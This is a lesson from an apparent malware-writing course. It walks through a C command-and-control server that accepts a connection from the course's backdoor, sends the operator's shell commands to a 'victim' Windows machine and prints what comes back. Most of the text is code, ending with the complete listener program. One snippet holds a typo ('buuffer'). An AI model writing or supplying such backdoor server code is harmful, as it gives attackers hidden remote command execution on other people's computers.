title: Connecting our server with the backdoor course: code_malware section: "Executing shell commands"
In this lesson we'll make our Server compatible with our Backdoor to stablish a succesful connection.
In the previous lesson we started coding our Server, we accepted the connection, created the sockets, the server address and all of its parameters and now we are ready to create and put the program in an infinite loop which will let us to send commands and to receive outputs. So, let's get started by creating a while-true loop inside of the main function as it is shown below:
while(1) {
}
The first thing that we need to do, is to code something that we already did in the backdoor program and that's the usage of a jump checkpoint, we are going to create it at the beginning of our loop, so we cam jump whenever we want to that point.
while(1) {
jump:
}
Once the "jump" checkpoint is made, we need to "bzero
" all of the variables
that we created before in our main function. Those variables are "buffer"
where we are going to store the command we are going to send to our backdoor and
the "response" variable. So right after the "jump" checkpoint add the
following lines:
bzero(&buuffer, sizeof(buffer));
bzero(&response, sizeof(response));
Note that we don't need to define the "bzero" function in this program, because it exists in linux C programming. If you want to run the "Server" in a Windows-based environment, you'd need to define "bzero" once again.
The next thing we'll do, is to prompt the user of the server, to input a command
and send it to the target, for example, let's suppose we stablish a connection
with our target (a Windows 10 machine) and you want to see all of the files in
the victim's desktop folder, we would need to input somewhere the "dir
"
command and that command will be send to the backdoor, and backdoor would
execute "dir
" in a terminal, then it would gather the response (the output of
the entered command) sent back to the server (us) and print it to the screen.
That's the task we'll need to accomplish.
First, we are going to print a prompt, to do so, add the following line:
printf("* Shell#%s~$: ", inet_ntoa(client_address.sin_addr));
As you can see that "printf" call receives two arguments, the first is what we
want to print in the screen, and the second one is the string that will replace
"%s" in our first parameter. The second parameter
(inet_ntoa(client_address.sin_addr)
) what does is to print the IP address of
our victim.
Once we printed that, we need to wait to the user of the server to input a command, and we need to store it somewhere. So we are going to store it in our "buffer" variable, we can use the "fgets" function to do it.
fgets(buffer, sizeof(buffer), stdin);
As you can see, fgets requires three parameters:
Now, we need to manipulate our string to delete the "\n" character (new line) which is added automatically sometimes and we can't send the command like that to our client. To do so, we could use the "strtok" function in the following way:
strtok(buffer, "\n");
The strtok function requires two parameters:
Once we do that, we are ready to send the command to the target, we will use the "write" function to do that. This function is like the "send" one, but this is easier to use as it only requires three arguments:
write(client_socket, buffer, sizeof(buffer));
Those three arguments are:
Now, we sent the command to the target. Now we need to check for different options about what the command was. Do you remember in the backdoor when we checked if the "buffer" was equal to "q" and if it wasn't? Well, we'll do it here too. We will use the same "technique" (using if/else statements) and the "strncmp" (string compare) function.
if(strncmp("q", buffer, 1) == 0) {
break;
}
That previous portion of code, checks if the user has entered "q". If the user did, the "break" statement will take you out of the while-true loop, and therefore, exiting the program.
The next thing we want to do, is to check if the entered string was not "q", we will receive the response from our target:
else {
recv(client_socket, response, sizeof(response), MSG_WAITALL);
printf("%s", response);
}
If the entered string is not "q", we will receive the response from the client, we store it in the response variable and then, we print the response to the screen.
The "MSG_WAITALL" flag will tell the program to block its operating until the entire response is received.
This is how our entire looks so far:
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
int main() {
int sock, client_socket;
char buffer[1024];
char response[18384];
struct sockaddr_in server_address, client_address;
int i = 0;
int optval = 1;
socklen_t client_length;
sock = socket(AF_INET, SOCK_STREAM, 0);
if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval)) < 0) {
printf("Error Setting TCP Socket Options!\n");
return 1;
}
server_address.sin_family = AF_INET;
server_address.sin_addr.s_addr = inet_addr("192.168.1.6");
server_address.sin_port = htons(50005);
bind(sock, (struct sockaddr *) &server_address, sizeof(server_address));
listen(sock, 5);
client_length = sizeof(client_address);
client_socket = accept(sock, (struct sockaddr *) &client_address, &client_length);
while(1) {
jump:
bzero(&buffer, sizeof(buffer));
bzero(&response, sizeof(response));
printf("* Shell#%s~$: ", inet_ntoa(client_address.sin_addr));
fgets(buffer, sizeof(buffer), stdin);
strtok(buffer, "\n");
write(client_socket, buffer, sizeof(buffer));
if(strncmp("q", buffer, 1) == 0) {
break;
} else {
recv(client_socket, response, sizeof(response), MSG_WAITALL);
printf("%s", response);
}
}
}